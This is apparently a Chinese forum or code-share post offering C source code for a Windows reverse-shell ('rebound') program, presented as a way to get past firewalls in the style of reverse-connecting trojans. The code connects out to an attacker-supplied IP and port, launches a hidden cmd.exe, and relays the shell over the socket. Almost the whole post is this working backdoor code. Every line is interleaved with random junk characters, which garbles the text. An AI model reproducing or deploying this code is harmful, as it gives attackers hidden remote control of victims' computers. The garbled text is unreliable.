这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Y@'ug N|[C
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/* ============================== 8Qtd,
Rebound port in Windows NT O?|st$g
By wind,2006/7 $ftcYBZa
===============================*/ KF&1Y>t=
#include .iFd
#include |7XV!D!\g
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#pragma comment(lib,"wsock32.lib") S~auwY ,<
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void OutputShell(); };%l <Ui;
SOCKET sClient; FFGG6r
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 5yO%| )
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void main(int argc,char **argv) v^_OX$=,
{ H2oAek(
WSADATA stWsaData; |pB[g>~V
int nRet; NWCJ|
SOCKADDR_IN stSaiClient,stSaiServer; Wt2+D{@8
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if(argc != 3) |/B2Bm
{ i}mvKV?!|1
printf("Useage:\n\rRebound DestIP DestPort\n"); n JH+P!AC
return; k[3J5 4`g1
} B 14Ziopww
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WSAStartup(MAKEWORD(2,2),&stWsaData); <{U "0jY!9
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); KrNu7/H
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stSaiClient.sin_family = AF_INET; Qx,jUL#2
stSaiClient.sin_port = htons(0); Dk&@AjJga
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); PS ,@ \
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) IN2FO/Y@
{ *G|w#-\.c
printf("Bind Socket Failed!\n"); !
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return; x5/O.5>f
} fbaQXM
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stSaiServer.sin_family = AF_INET; 5"1kfB3v
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); G2Zr(b')
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); cnfjOg'\{
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 0&!,+
{ __Ei;%cV
printf("Connect Error!"); -:w+`x?XaB
return; sYlA{Z"
} AN;SRl
OutputShell(); .H,v7L,~88
} vMOI&_[\z
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void OutputShell() Z["[^=EP
{ JY4sB8
char szBuff[1024]; H4#|f n
SECURITY_ATTRIBUTES stSecurityAttributes; ;E? Z<3{
OSVERSIONINFO stOsversionInfo; 1^<R2x
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; We]mm3M3
STARTUPINFO stStartupInfo; ]+RBykr
char *szShell; .32]$vx
PROCESS_INFORMATION stProcessInformation; R{zAs?j
unsigned long lBytesRead; ,[6N64fy
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); |FK##8
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); nZ>8r
stSecurityAttributes.lpSecurityDescriptor = 0; dD _(MbTt
stSecurityAttributes.bInheritHandle = TRUE; .6I*=qv)NA
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); >U/m/H'
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); u_+64c_7
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); /(#;(]
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vMBF7Jfx
stStartupInfo.wShowWindow = SW_HIDE; M~ =Bln5
stStartupInfo.hStdInput = hReadPipe; 1_}*aQ
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; *$uj)*5,
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GetVersionEx(&stOsversionInfo); W-9?|ei
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switch(stOsversionInfo.dwPlatformId) iC]=S}
{ FGzMbi<l#(
case 1: +S!gS|8P
szShell = "command.com"; SF?Ublc!
break; [UqJ3@>
default: L`v7|! X
szShell = "cmd.exe"; /Yk4%ZJ{
break; US<bM@[
} p
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m:EO}ws=
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); *_Y{wNF*
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send(sClient,szMsg,77,0); bDh,r!I
while(1) :q6j{C(
{ :Osw4u]JXd
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); EyJWi<
if(lBytesRead) >s3H_X3F
{ e!_+TyI
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 7GN>o@ t
send(sClient,szBuff,lBytesRead,0); O>P792)
} 7A!E~/nSC
else !/pE6)a
{ Kh{C$b
lBytesRead=recv(sClient,szBuff,1024,0); G&P[n8Z$
if(lBytesRead<=0) break; W(
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); M<'AM4
} fB~BVYi
} RzPqtN
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return; u=epnz:<
}